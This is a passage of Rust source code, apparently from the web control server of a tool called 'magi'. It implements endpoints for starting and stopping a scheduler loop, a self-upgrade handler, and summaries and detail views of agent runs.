2650    /// is not a report, and a loop that died at 3am must not read as merely
2651    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2652    /// answers the same question about the same kind of failure.
2653    last_error: Option<String>,
2654    /// The status file, judged the same way `/api/health` judges it: this is
2655    /// what says whether a loop is alive in some *other* process.
2656    daemon: DaemonView,
2657}
2658
2659/// A legacy embedded scheduler that this web process cannot control.
2660///
2661/// Worker-protocol schedulers use durable controls regardless of which process
2662/// started them. Older schedulers are identified by their foreign heartbeat.
2663#[derive(Debug, Clone, Copy)]
2664struct Foreign {
2665    /// The pid the other process published, when it published one.
2666    pid: Option<u32>,
2667}
2668
2669impl Foreign {
2670    /// Another process's live loop, or `None` when this process is free to
2671    /// run one.
2672    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2673        // A fresh heartbeat with no pid in it is still evidence of a live
2674        // daemon. "Some other process" is the honest answer, and refusing
2675        // to start beside it is the safe one.
2676        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
2677            return None;
2678        }
2679        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2680    }
2681
2682    /// How a conflict names it. The pid is the whole point of the message: it
2683    /// is what the operator needs to find the terminal that owns the loop.
2684    fn who(&self) -> String {
2685        match self.pid {
2686            Some(pid) => format!("another magi process (pid {pid})"),
2687            None => "another magi process".to_owned(),
2688        }
2689    }
2690}
2691
2692/// How a loop is started, as a future this module can hold onto.
2693///
2694/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2695/// trait object or a hand-written `Debug` impl for the sake of one seam.
2696#[cfg(test)]
2697type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2698
2699/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2700#[cfg(test)]
2701fn launch_daemon(
2702    opts: daemon::Opts,
2703    stop: daemon::Stop,
2704) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2705    Box::pin(daemon::serve_until(opts, stop))
2706}
2707
2708/// Local web-control revisions and errors, plus the unit-test launch seam.
2709#[derive(Debug, Default)]
2710struct LoopState {
2711    /// The loop, while there is one.
2712    #[cfg(test)]
2713    live: Option<Live>,
2714    /// Local control changes streamed as `loop_rev`; actual scheduler and
2715    /// execution ownership comes from durable status and OS-held worker leases.
2716    rev: u64,
2717    /// Why the last loop ended, when it ended badly. See
2718    /// [`LoopView::last_error`].
2719    last_error: Option<String>,
2720}
2721
2722/// A loop in flight.
2723#[cfg(test)]
2724#[derive(Debug)]
2725struct Live {
2726    /// The cooperative stop, shared with the loop task.
2727    stop: daemon::Stop,
2728    /// The task itself, kept only to answer whether it is still there: a loop
2729    /// that panicked never records its own end, and without this the view
2730    /// would go on reporting a loop that no longer exists - the one lie that
2731    /// would leave the operator with no button to press.
2732    handle: tokio::task::JoinHandle<()>,
2733    /// What the loop was started with, so the view reports the repository and
2734    /// merge mode its runs will actually use rather than what an edit to the
2735    /// config since would give.
2736    opts: daemon::Opts,
2737}
2738
2739#[cfg(test)]
2740impl Live {
2741    /// Is the task still there? See [`Live::handle`].
2742    fn alive(&self) -> bool {
2743        !self.handle.is_finished()
2744    }
2745}
2746
2747/// Take the loop lock, recovering from a poisoned one.
2748///
2749/// What this mutex holds is a stop flag, a task handle and two counters, none
2750/// of which a panic elsewhere can leave in a state worth refusing to read.
2751/// Propagating the poison instead would mean an operator who can see the loop
2752/// running and can no longer stop it from the only surface they have.
2753fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2754    state.lock().unwrap_or_else(PoisonError::into_inner)
2755}
2756
2757/// `GET /api/loop`.
2758async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2759    blocking(move || {
2760        let reading = daemon::read_status(&ui.home);
2761        #[cfg(not(test))]
2762        let view = ui.try_loop_view(reading)?;
2763        #[cfg(test)]
2764        let view = ui.loop_view(reading);
2765        Ok(Json(view))
2766    })
2767    .await
2768}
2769
2770/// The body of `POST /api/loop`.
2771///
2772/// One required field and nothing else: no `default` and no unknown fields,
2773/// so a body that fails to say which way the switch was flipped is a 400
2774/// rather than a tap that quietly does the opposite of what was pressed.
2775#[derive(Debug, Deserialize)]
2776#[serde(deny_unknown_fields)]
2777struct LoopCommand {
2778    running: bool,
2779    /// Stop the run in flight at its next node boundary rather than letting it
2780    /// finish.
2781    ///
2782    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2783    /// competition is tens of minutes of paid work and finishing it is
2784    /// normally the cheapest thing to do. A park is for the operator who
2785    /// wants the process gone now - to replace the binary, most of all - and
2786    /// it costs at most the node in progress because every node writes its
2787    /// state before the next one starts.
2788    #[serde(default)]
2789    park: bool,
2790}
2791
2792/// Start or control the detached scheduler without waiting for execution
2793/// workers. Only an explicit park asks workers to stop at a node boundary.
2794async fn loop_post(
2795    State(ui): State<Arc<Ui>>,
2796    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2797) -> ApiResult<Json<LoopView>> {
2798    // Taken as a `Result` so a malformed body is a 400 like every other route
2799    // here, rather than axum's default 422 that the UI has no branch for.
2800    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2801    #[cfg(not(test))]
2802    {
2803        if body.running {
2804            ui.start_detached_loop().await?;
2805        } else {
2806            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
2807            ui.stop_loop(foreign, body.park)?;
2808        }
2809        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
2810    }
2811    #[cfg(test)]
2812    {
2813        blocking(move || {
2814            let reading = daemon::read_status(&ui.home);
2815            let foreign = Foreign::of(reading.as_ref());
2816            if body.running {
2817                ui.start_loop(foreign)?;
2818            } else {
2819                ui.stop_loop(foreign, body.park)?;
2820            }
2821            Ok(Json(ui.loop_view(reading)))
2822        })
2823        .await
2824    }
2825}
2826
2827/// What `POST /api/upgrade` set in motion.
2828#[derive(Debug, Serialize)]
2829struct UpgradeView {
2830    /// The version this process is running.
2831    from: String,
2832    /// The release it is replacing itself with, when there is one.
2833    to: Option<String>,
2834    /// What the operator should expect to happen next.
2835    detail: String,
2836}
2837
2838/// The stage of an upgrade that is still moving, if the record says so.
2839/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
2840fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2841    progress.filter(|p| !p.stage.terminal())
2842}
2843
2844/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
2845/// Unknown diagnostics retain their complete message without guessing a delay.
2846fn upgrade_retry_after(message: &str) -> Option<u64> {
2847    if !message.contains("GitHub") || !message.contains("rate limit") {
2848        return None;
2849    }
2850    if message.contains("retry now") {
2851        return Some(0);
2852    }
2853    let duration = message
2854        .split_once("resets in ")
2855        .or_else(|| message.split_once("retry after "))?
2856        .1
2857        .split_once(')')?
2858        .0;
2859    let mut rest = duration.trim();
2860    if rest.is_empty() {
2861        return None;
2862    }
2863    let mut total = 0u64;
2864    while !rest.is_empty() {
2865        let n = rest.find(|c: char| !c.is_ascii_digit())?;
2866        let amount: u64 = rest[..n].parse().ok()?;
2867        let scale = match rest[n..].chars().next()? {
2868            's' => 1,
2869            'm' => 60,
2870            'h' => 3600,
2871            'd' => 86400,
2872            _ => return None,
2873        };
2874        total = total.checked_add(amount.checked_mul(scale)?)?;
2875        rest = rest[n + 1..].trim_start();
2876    }
2877    Some(total)
2878}
2879
2880#[derive(Debug, Clone, Serialize)]
2881struct UpgradeRequestFailure {
2882    occurred_at: String,
2883    error: String,
2884    retry_after_secs: Option<u64>,
2885    /// Unix seconds; independent of the phone's polling cadence.
2886    retry_at: Option<u64>,
2887}
2888
2889impl UpgradeRequestFailure {
2890    fn new(error: String) -> Self {
2891        let retry_after_secs = upgrade_retry_after(&error);
2892        let now = std::time::SystemTime::now()
2893            .duration_since(std::time::UNIX_EPOCH)
2894            .unwrap_or_default()
2895            .as_secs();
2896        Self {
2897            occurred_at: jiff::Timestamp::now().to_string(),
2898            error,
2899            retry_after_secs,
2900            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
2901        }
2902    }
2903}
2904
2905/// `POST /api/upgrade` - replace this binary with the newest release and come
2906/// back on it.
2907///
2908/// Replace the installed binary, restart the detached scheduler, release the
2909/// web listener, then start the successor. Active task and conversation
2910/// workers retain their immutable executable and continue without parking.
2911///
2912/// A legacy embedded scheduler is the only incompatible owner: its work
2913/// must finish or park before the first migration replaces its process.
2914///
2915/// Answers **202**: the reply has to reach the phone while this process can
2916/// still send one, and the phone learns the deck is back by reconnecting.
2917async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
2918    let reading = daemon::read_status(&ui.home);
2919    if let Some(other) = Foreign::of(reading.as_ref()) {
2920        return ApiError::conflict(format!(
2921            "{} is a legacy scheduler without detached restart support. \
2922             Finish or explicitly park its work in the existing UI before \
2923             this first migration; independent schedulers do not need this.",
2924            other.who()
2925        ))
2926        .into_response();
2927    }
2928
2929    // A second upgrade while one is moving would replace the binary and
2930    // signal the handover again after `serve` already consumed the first
2931    // signal, leaving the process in `replaced` forever. Try-lock rather than
2932    // wait: a phone connection must not hang behind a GitHub round trip.
2933    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2934        return ApiError::conflict("another request is already preparing an upgrade")
2935            .into_response();
2936    };
2937    // Hold the same gate through recording/clearing the request outcome, so
2938    // an older response cannot overwrite a retry's result.
2939    finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
2940}
2941
2942fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
2943    match result {
2944        Ok(out) => {
2945            *ui.upgrade_request_error
2946                .lock()
2947                .unwrap_or_else(PoisonError::into_inner) = None;
2948            out.into_response()
2949        }
2950        Err(error) if error.status != StatusCode::CONFLICT => {
2951            let failure = UpgradeRequestFailure::new(error.message);
2952            *ui.upgrade_request_error
2953                .lock()
2954                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
2955            let mut response = (error.status, Json(&failure)).into_response();
2956            if let Some(value) = failure
2957                .retry_after_secs
2958                .and_then(|secs| secs.to_string().parse().ok())
2959            {
2960                response.headers_mut().insert("retry-after", value);
2961            }
2962            response
2963        }
2964        Err(error) => error.into_response(),
2965    }
2966}
2967
2968async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2969    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2970        return Err(ApiError::conflict(
2971            "an upgrade is already in progress (this process started one and it \
2972             has not finished or failed yet)",
2973        ));
2974    }
2975    let recorded = updater::read_progress(&ui.home);
2976    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2977        return Err(ApiError::conflict(format!(
2978            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2979             stays stuck, restart the deck; on start it settles a stale record.",
2980            p.stage.as_str(),
2981            p.from,
2982            p.to.as_deref().unwrap_or("?"),
2983        )));
2984    }
2985
2986    // The same kill switch the background check honours (`disabled_by_env`),
2987    // checked before anything else for the same reason it is read before the
2988    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2989    // contact GitHub from this process", and a button press must not
2990    // override that any more than a broken `magi.toml` may.
2991    if crate::updater::disabled_by_env() {
2992        return Ok((
2993            StatusCode::OK,
2994            Json(UpgradeView {
2995                from: env!("CARGO_PKG_VERSION").to_owned(),
2996                to: None,
2997                detail: format!(
2998                    "Automatic updates are disabled by {}. Nothing was parked \
2999                     and nothing restarted.",
3000                    crate::updater::NO_AUTOUPDATE_ENV
3001                ),
3002            }),
3003        ));
3004    }
3005
3006    // Check before disturbing listeners or scheduling: no available update
3007    // means there is no reason to restart anything.
3008    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3009    let from = env!("CARGO_PKG_VERSION").to_owned();
3010    let latest = match crate::updater::Checker::new(&cfg.update) {
3011        Some(checker) => checker.newer_release().await,
3012        None => Ok(None),
3013    };
3014    upgrade_checked(ui, from, latest)
3015}
3016
3017fn upgrade_checked(
3018    ui: &Arc<Ui>,
3019    from: String,
3020    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3021) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3022    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3023    let Some(latest) = latest else {
3024        return Ok((
3025            StatusCode::OK,
3026            Json(UpgradeView {
3027                from,
3028                to: None,
3029                detail: "Already on the newest release. Nothing was parked \
3030                         and nothing restarted."
3031                    .to_owned(),
3032            }),
3033        ));
3034    };
3035
3036    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3037
3038    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3039    // poll must see a `Downloading` stage immediately, not whenever the
3040    // spawned task happens to get scheduled.
3041    let progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3042    updater::write_progress_logged(&ui.home, &progress);
3043
3044    let home = ui.home.clone();
3045    ui.upgrade_spawned
3046        .store(true, std::sync::atomic::Ordering::SeqCst);
3047    let spawned = Arc::clone(&ui.upgrade_spawned);
3048    tokio::spawn(async move {
3049        if let Err(e) = upgrade_and_restart(home.clone()).await {
3050            tracing::error!("the upgrade did not complete: {e:#}");
3051            // A failure of this attempt says nothing about a handover an
3052            // earlier request already has in flight; checked and written
3053            // under the progress lock.
3054            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3055            // Release only after failure bookkeeping, before accepting a retry.
3056            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3057        }
3058    });
3059
3060    Ok((
3061        StatusCode::ACCEPTED,
3062        Json(UpgradeView {
3063            from,
3064            to: Some(latest.tag_name),
3065            detail,
3066        }),
3067    ))
3068}
3069
3070/// Replace the binary, then ask [`serve`] to hand the address over.
3071///
3072/// Separated from the handler so the 202 is already on its way, and separated
3073/// from the spawn so the successor starts only after the listener is dropped.
3074async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3075    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3076    // hang the upgrade for as long as the process lives.
3077    crate::updater::run_self_update(true, false, true).await?;
3078    updater::log_step(&home, "binary replaced - recording the replaced stage");
3079    if let Some(mut progress) = updater::read_progress(&home) {
3080        progress.advance(updater::Stage::Replaced);
3081        updater::write_progress_logged(&home, &progress);
3082    }
3083    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3084    HANDOVER.notify_one();
3085    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3086    Ok(())
3087}
3088
3089/// One row in the run list.
3090///
3091/// The list route returns this rather than whole `RunState`s: the summary of a
3092/// run is a few hundred bytes and the state is megabytes, and the difference
3093/// is what makes the history usable on a mobile link.
3094#[derive(Debug, Serialize)]
3095struct RunSummary {
3096    id: String,
3097    short: String,
3098    status: String,
3099    done: bool,
3100    instruction: String,
3101    title: String,
3102    repo: String,
3103    repo_name: String,
3104    created_at: String,
3105    updated_at: String,
3106    candidates: usize,
3107    viable: usize,
3108    judges: usize,
3109    winner: Option<char>,
3110    reviews: usize,
3111    quota_losses: usize,
3112    event: Option<String>,
3113    /// The later attempt at the same task that replaced this one, if any.
3114    ///
3115    /// Two cards with one title is otherwise unreadable: this is what lets
3116    /// the deck say "superseded by 4043" on the older of the pair.
3117    superseded_by: Option<String>,
3118    /// Blocked on a question nobody has answered.
3119    ///
3120    /// Derived from the question store rather than stored on the run: an agent
3121    /// calling `magi ask` blocks mid-node, and writing a status from there
3122    /// would race the graph's own save of `run.json` and be overwritten at the
3123    /// next node boundary. Asking the store is always true and never races.
3124    waiting: bool,
3125    /// Whether the process recorded as driving this run can still be proven
3126    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3127    /// rather than presenting its last graph node as still in flight.
3128    live: crate::run::Liveness,
3129    /// The land loop's last look at the pull request, when there is one.
3130    pr: Option<crate::run::PrRecord>,
3131    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3132    /// design — never picked up by the PR-polling merge watcher, unlike an
3133    /// ordinary `Ready` that may still be a live landing candidate. See
3134    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3135    /// re-deriving the same check from `status` and `merge.mode` itself.
3136    unmerged_by_design: bool,
3137    /// Derived presentation status matching [`RunDetailView::display_status`].
3138    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3139    #[serde(default)]
3140    display_status: String,
3141    /// What the status badge shows: `display_status`, or `superseded` for a
3142    /// non-live run a later attempt replaced. See [`run_badge_status`].
3143    #[serde(default)]
3144    badge_status: String,
3145    /// Who started the run, as the one label every surface shares; the
3146    /// "origin unknown" wording when the record predates origins.
3147    origin_label: String,
3148}
3149
3150impl RunSummary {
3151    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3152        Self {
3153            id: state.id.clone(),
3154            short: state.short().to_owned(),
3155            status: status_word(state.status),
3156            done: state.status.done(),
3157            unmerged_by_design: state.unmerged_by_design(),
3158            display_status: run_display_status(state, waiting, live),
3159            badge_status: run_display_status(state, waiting, live),
3160            instruction: state.instruction.clone(),
3161            title: title_from(&state.instruction, TITLE_MAX),
3162            repo: state.repo.display().to_string(),
3163            repo_name: state
3164                .repo
3165                .file_name()
3166                .map(|n| n.to_string_lossy().into_owned())
3167                .unwrap_or_default(),
3168            created_at: state.created_at.to_string(),
3169            updated_at: state.updated_at.to_string(),
3170            candidates: state.candidates.len(),
3171            viable: state.viable().len(),
3172            judges: state.config.graph.judges,
3173            winner: state.winner().map(|c| c.label),
3174            reviews: state.reviews.len(),
3175            quota_losses: state.quota.len(),
3176            event: state.events.last().map(|e| e.message.clone()),
3177            waiting,
3178            live,
3179            // Filled in by the list route, which is the only place that can
3180            // see a task's other attempts.
3181            superseded_by: None,
3182            pr: state.pr.clone(),
3183            origin_label: crate::run::origin_label(state.origin.as_ref()),
3184        }
3185    }
3186}
3187
3188/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3189/// the same string `serde` writes for the status inside a full run.
3190fn status_word(status: RunStatus) -> String {
3191    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3192    // was a third way of naming the same statuses, and one that changed
3193    // silently with a derive.
3194    status.as_str().to_owned()
3195}
3196
3197/// The presentation status for a run, unified across summaries and details.
3198///
3199/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3200/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3201/// runs awaiting operator answers.
3202fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3203    if waiting {
3204        return "waiting".to_owned();
3205    }
3206    if state.unmerged_by_design() {
3207        return "unmerged".to_owned();
3208    }
3209    if !state.status.done() && live == crate::run::Liveness::Dead {
3210        // The driver claim clears this flag before saving another event.
3211        // A previous park event can therefore outlive a resumed driver.
3212        if state.parked {
3213            return "parked".to_owned();
3214        }
3215        return "stale".to_owned();
3216    }
3217    status_word(state.status)
3218}
3219
3220/// The word a run's status badge shows: `display_status`, except that a
3221/// non-terminal run which is not provably live and was replaced by a later
3222/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3223///
3224/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3225/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3226/// own word, so superseded never claims more than "not live".
3227fn run_badge_status(
3228    state: &RunState,
3229    display_status: &str,
3230    live: crate::run::Liveness,
3231    superseded: bool,
3232) -> String {
3233    if state.status.done() || live == crate::run::Liveness::Live {
3234        return display_status.to_owned();
3235    }
3236    if superseded {
3237        return "superseded".to_owned();
3238    }
3239    // A dead run's `display_status` is `stale`, except that a deliberate park
3240    // and an open owner question keep their own word: neither is a crash, and
3241    // the question still needs an answer. Anything else dead reads `stale`.
3242    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3243        return "stale".to_owned();
3244    }
3245    display_status.to_owned()
3246}
3247
3248/// `?limit=`, clamped by the handler.
3249#[derive(Debug, Deserialize)]
3250struct ListQuery {
3251    #[serde(default)]
3252    limit: Option<usize>,
3253    /// Exact ids only; an empty value requests no rows (except queue blockers).
3254    ids: Option<String>,
3255}
3256
3257impl ListQuery {
3258    fn contains(&self, id: &str) -> bool {
3259        self.ids
3260            .as_ref()
3261            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3262    }
3263}
3264
3265async fn runs_list(
3266    State(ui): State<Arc<Ui>>,
3267    Query(q): Query<ListQuery>,
3268) -> ApiResult<Json<Vec<RunSummary>>> {
3269    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3270    blocking(move || {
3271        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3272        let states = run_ids(&ui.runs)
3273            .into_iter()
3274            // A run whose state cannot be read is skipped, not fatal: a run
3275            // killed mid-write must not blank the history of every other one.
3276            // The detail route still explains it, which is where an operator
3277            // asking "what happened to that run" ends up.
3278            .filter_map(|id| read_run(&ui.runs, &id).ok())
3279            .take(limit)
3280            .filter(|run| q.contains(&run.id));
3281        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3282        let summaries = summarize(
3283            states,
3284            &open_runs,
3285            &claimed,
3286            &superseded,
3287            |p| probe.borrow_mut().status(p),
3288            |p| probe.borrow_mut().started_at(p),
3289        );
3290        Ok(Json(summaries))
3291    })
3292    .await
3293}
3294
3295/// Everything the per-run rows share, read once: runs with an open question,
3296/// runs a live daemon claims, and the superseded map. Asking per run re-read
3297/// every question file and the daemon status file for each of hundreds of
3298/// runs, and spawned a process probe per run on Windows.
3299fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3300    let open_runs: HashSet<String> = ui
3301        .questions
3302        .list()
3303        .into_iter()
3304        .filter(|q| q.status.open())
3305        .map(|q| q.run)
3306        .collect();
3307    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3308        .into_iter()
3309        .map(|c| c.run)
3310        .collect();
3311    (open_runs, claimed, ui.queue.superseded())
3312}
3313
3314/// The rows of the run list, given everything that is shared between them.
3315///
3316/// Pure over its inputs so a test can count how often the process queries are
3317/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3318/// takes, called at most once per run.
3319fn summarize<I, S, D>(
3320    states: I,
3321    open_runs: &HashSet<String>,
3322    claimed: &HashSet<String>,
3323    superseded: &HashMap<String, String>,
3324    mut status_q: S,
3325    mut identity_q: D,
3326) -> Vec<RunSummary>
3327where
3328    I: IntoIterator<Item = RunState>,
3329    S: FnMut(u32) -> Option<bool>,
3330    D: FnMut(u32) -> Option<String>,
3331{
3332    states
3333        .into_iter()
3334        .map(|state| {
3335            let waiting = open_runs.contains(&state.id);
3336            let live =
3337                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3338            let mut row = RunSummary::of(&state, waiting, live);
3339            row.superseded_by = state
3340                .pr_taken_over_by
3341                .as_ref()
3342                .or_else(|| superseded.get(&state.id))
3343                .map(String::as_str)
3344                .map(crate::run::short_of)
3345                .map(str::to_owned);
3346            row.badge_status = run_badge_status(
3347                &state,
3348                &row.display_status,
3349                live,
3350                row.superseded_by.is_some(),
3351            );
3352            row
3353        })
3354        .collect()
3355}
3356
3357/// A run as the detail route hands it to the phone.
3358///
3359/// The whole state, flattened, plus `instruction_md`: the Task panel renders
3360/// the instruction as markdown, and the raw `instruction` field this struct
3361/// still carries (unchanged) is what a client wanting the exact bytes reads
3362/// instead.
3363#[derive(Debug, Serialize)]
3364struct RunDetailView {
3365    stop_reason: Option<String>,
3366    #[serde(flatten)]
3367    state: RunState,
3368    instruction_md: Vec<md::Node>,
3369    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
3370    /// mirror the records they come from, index for index; the raw strings
3371    /// stay in `state` and decide whether a block is shown at all.
3372    #[serde(flatten)]
3373    prose_md: RunProseMd,
3374    /// Whether a process is actually still driving this run: `"live"`,
3375    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3376    ///
3377    /// `state.active` (flattened in above) is only ever cleared by the
3378    /// process that populated it; a killed one leaves its last wave's
3379    /// entries behind. Carrying this alongside is what lets the phone rail
3380    /// tell "this seat is still answering" from "this seat was still
3381    /// answering when whatever was driving this run died" without a second
3382    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3383    /// proof of either. A string rather than a bool on purpose: a daemon
3384    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3385    /// and neither proven is `"unknown"` — folding that third case into
3386    /// either end of a bool is exactly the wrong call for a phone screen an
3387    /// operator uses to decide whether to wait or to act.
3388    live: crate::run::Liveness,
3389    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3390    /// alongside the flattened `state` rather than inside it, since
3391    /// `RunState` has no business knowing which of its own methods a caller
3392    /// wants serialized.
3393    unmerged_by_design: bool,
3394    /// Same field and meaning as [`RunSummary::waiting`].
3395    #[serde(default)]
3396    waiting: bool,
3397    /// Same derived presentation status as [`RunSummary::display_status`].
3398    #[serde(default)]
3399    display_status: String,
3400    /// Same field and meaning as [`RunSummary::badge_status`].
3401    #[serde(default)]
3402    badge_status: String,
3403    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3404    /// terminal. The client's `landView` keys on it, and the flattened state
3405    /// has no such field, so without it a finished run's stale `open` PR
3406    /// would be painted as live on the detail page.
3407    done: bool,
3408    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3409    /// route fills it from [`Queue::superseded`], the detail route from
3410    /// [`Queue::superseded_by`], and both read the same underlying task
3411    /// order. Without this the detail page could only ever show a red
3412    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3413    /// with nothing anywhere saying so — an operator opening it had no way
3414    /// to tell "this is done elsewhere" from "this still needs a retry".
3415    superseded_by: Option<String>,
3416    /// The task's current attempt, when this run is an older one — resolved
3417    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3418    /// the client to derive.
3419    ///
3420    /// Three things a client cannot safely do on its own drove this onto the
3421    /// server: it has to name the chain's *current head*, not just the next
3422    /// attempt (`superseded_by` above), because an intermediate retry in a
3423    /// longer chain can itself still be unresolved; it has to resolve to a
3424    /// real id rather than a short id a client would have to guess a full id
3425    /// from, which is ambiguous the moment two runs share a suffix; and it
3426    /// has to read that head's own status directly, because whether a run
3427    /// list a client happens to have cached even contains that attempt
3428    /// depends on a page limit this route knows nothing about.
3429    latest_attempt: Option<LatestAttempt>,
3430    /// The queue task this run belongs to, so the detail page can link back
3431    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3432    task: Option<TaskRef>,
3433    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3434    /// run recorded before origins existed. `origin` itself (flattened in
3435    /// with `state`) is `null` in that case.
3436    origin_label: String,
3437    /// Each recorded pass over this run, with the cause it stopped for. Empty
3438    /// for a run from before passes were kept: its earlier passes are unknown.
3439    pass_views: Vec<PassView>,
3440}
3441
3442/// A task named from a run's detail page.
3443#[derive(Debug, Serialize)]
3444struct TaskRef {
3445    id: String,
3446    short: String,
3447    title: String,
3448    /// [`Source::label`], e.g. `chat@a1b2`.
3449    source_label: String,
3450    /// Where the task came from, when that place has a page; see [`source_link`].
3451    source_link: Option<SourceLink>,
3452    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3453    status: &'static str,
3454    attempts: usize,
3455    max_attempts: usize,
3456    /// This run is the last entry of the task's run list.
3457    is_latest: bool,
3458    /// The task's newest run, when it is not this one.
3459    latest: Option<RunBrief>,
3460    /// The run that finished a `done` task (merged, or already in the base).
3461    finished_by: Option<RunBrief>,
3462    /// The task is `done` but no run on record finished it: closed by hand.
3463    closed_by_hand: bool,
3464}
3465
3466/// The page that filed a task, as the UI links to it.
3467#[derive(Debug, PartialEq, Eq, Serialize)]
3468struct SourceLink {
3469    /// `chat` (a conversation) or `run` (a run's node).
3470    kind: &'static str,
3471    /// The full id, never the short one in the label.
3472    id: String,
3473    /// The hash route that opens it.
3474    href: String,
3475}
3476
3477/// Percent-encode everything outside the URL-unreserved set.
3478fn encode_segment(raw: &str) -> String {
3479    let mut out = String::with_capacity(raw.len());
3480    for b in raw.bytes() {
3481        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3482            out.push(b as char);
3483        } else {
3484            out.push_str(&format!("%{b:02X}"));
3485        }
3486    }
3487    out
3488}
3489
3490/// The one place that decides where a task's source links to. A chat
3491/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3492/// a person or an imported issue has no page, so no link.
3493fn source_link(source: &Source) -> Option<SourceLink> {
3494    let Source::Agent { run, node } = source else {
3495        return None;
3496    };
3497    let (kind, route) = if node == crate::queue::CHAT_NODE {
3498        ("chat", "chat")
3499    } else {
3500        ("run", "runs")
3501    };
3502    Some(SourceLink {
3503        kind,
3504        id: run.clone(),
3505        href: id_links::page_href(route, run),
3506    })
3507}
3508
3509/// The parent task of a follow-up, when its file can still be read.
3510#[derive(Debug, Serialize, PartialEq)]
3511struct FollowUpParent {
3512    id: String,
3513    short: String,
3514    title: String,
3515    /// The parent's own status (`TaskStatus::as_str`).
3516    status: &'static str,
3517    href: String,
3518}
3519
3520/// The merged run a follow-up was filed from.
3521#[derive(Debug, Serialize, PartialEq)]
3522struct FollowUpRun {
3523    id: String,
3524    short: String,
3525    /// `None` when the run's record cannot be read.
3526    status: Option<&'static str>,
3527    /// `None` unless the record could be read: never a dead link.
3528    href: Option<String>,
3529}
3530
3531/// Where a follow-up task came from, resolved once per task page so the flow
3532/// chart and the detail block cannot disagree. See [`followup_origin`].
3533#[derive(Debug, Serialize, PartialEq)]
